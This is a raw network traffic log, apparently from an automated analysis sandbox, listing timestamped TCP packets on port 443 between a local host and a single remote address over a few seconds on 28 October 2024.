Oct 28, 2024 08:18:16.877051115 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.877501965 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.877625942 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.877736092 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.877736092 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.877785921 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.877840042 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.880408049 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.880462885 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.880561113 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.880763054 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.880781889 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.912728071 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.912997961 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.913042068 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.913095951 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.913109064 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.913150072 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.913156033 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.916053057 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.916094065 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:16.916193008 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.916290045 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:16.916301012 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.130053043 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.130660057 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.130685091 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.130789995 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.130810022 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.131230116 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.131237030 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.131508112 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.131514072 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.131638050 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.131663084 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.132077932 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.132086039 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.132215023 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.132220984 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.135900974 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.136409998 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.136428118 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.136889935 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.136898041 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.256917000 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.257006884 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.257088900 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.257318974 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.257350922 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.257368088 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.257375956 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.259084940 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.259572029 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.259711027 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.259711027 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.259711027 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.260575056 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.260685921 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.260831118 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.260942936 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.260963917 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.261907101 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.261953115 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.262034893 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.262223959 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.262242079 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.269346952 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.269546986 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.269617081 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.269720078 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.269753933 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.269776106 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.269790888 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.271958113 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.272033930 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.272205114 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272205114 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272257090 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272277117 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.272586107 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272628069 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.272710085 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272872925 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.272903919 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.274421930 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.274471045 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.274559975 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.274696112 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.274712086 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.574831963 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.574862957 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.712446928 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.712881088 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.712910891 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.713378906 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.713386059 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.847943068 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.848193884 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.848321915 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.848401070 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.848426104 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.848447084 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.848453999 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.851006985 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.851044893 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.851121902 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.851382971 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.851393938 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.997009993 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.997498989 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.997529984 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:18.997972012 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:18.997977972 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.005172968 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.005532026 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.005563974 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.005932093 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.005939007 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.009701014 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.010020971 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.010045052 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.010413885 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.010430098 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.011593103 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.011857033 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.011863947 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.012428999 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.012432098 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.128405094 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.128494024 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.128565073 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.128743887 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.128767967 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.128781080 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.128789902 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.131489992 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.131547928 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.131633043 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.131782055 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.131793022 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.138530970 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.138562918 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.138637066 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.138674021 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.138824940 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.138849974 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.138895035 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.139076948 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.139117956 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.139166117 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.141166925 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.141213894 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.141288996 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.141415119 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.141431093 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.142076015 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.142364025 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.142421961 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.142443895 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.142461061 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.142472029 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.142477989 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.144139051 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.144330025 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.144371986 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.144453049 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.144714117 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.144725084 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.145450115 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.145514011 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.145553112 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.145553112 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.145574093 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.145596027 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.147372961 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.147408962 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.147479057 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.147584915 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.147600889 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.802309036 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.802772999 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.802786112 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.803251028 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.803255081 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.871269941 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.871845007 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.871862888 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.872324944 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.872328997 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.872509956 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.872921944 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.872956038 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.873372078 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.873378992 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.889817953 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.890223980 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.890240908 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.890628099 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.890633106 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.904556036 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.905133009 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.905148029 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.905400991 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.905405998 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.941013098 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.941036940 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.941092968 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.941128969 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.941160917 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.941418886 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.941435099 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.941446066 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.941452026 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.944561005 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.944611073 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.944700003 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.944856882 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:19.944868088 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.999798059 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.999870062 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:19.999927998 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.000149012 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.000176907 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.000189066 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.000195026 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003057957 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003107071 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003197908 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003356934 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003375053 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003452063 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003480911 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003540993 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003554106 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003595114 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003653049 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003676891 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.003690004 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.003696918 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.005475998 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.005501986 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.005567074 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.005695105 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.005712032 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.022061110 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.022135019 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.022283077 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.022452116 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.022465944 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.022490025 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.022495985 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.024363995 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.024385929 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.024458885 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.024589062 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.024600983 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040497065 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040525913 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040585041 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.040605068 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040785074 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.040795088 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040802956 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.040803909 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.040864944 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.042695045 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.042730093 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.042793036 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.042905092 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.042917013 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.678721905 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.679385900 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.679426908 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.679836988 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.679843903 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.747438908 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.747972012 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.747994900 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.748378038 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.748384953 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.760298014 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.760807991 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.760848045 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.761240005 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.761245012 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.765338898 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.765748024 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.765772104 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.766160965 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.766166925 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.767039061 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.767307043 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.767324924 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.767651081 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.767656088 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.812705994 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.812796116 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.812886000 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.820710897 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.820754051 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.820769072 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.820775986 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.823822021 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.823859930 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.823915958 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.824132919 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.824142933 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.879472971 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.879565954 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.879733086 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.879996061 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.880019903 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.880045891 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.880053043 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.882932901 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.882970095 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.883079052 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.883214951 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.883227110 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.889239073 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.889391899 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.889470100 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.889563084 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.889586926 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.889600039 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.889605045 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.892134905 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.892191887 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.892287016 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.892412901 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.892430067 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.894263983 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.894433975 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.894500971 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.894534111 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.894551039 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.894573927 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.894578934 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.896905899 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.896931887 CET	443	49862	13.107.246.45	192.168.2.4
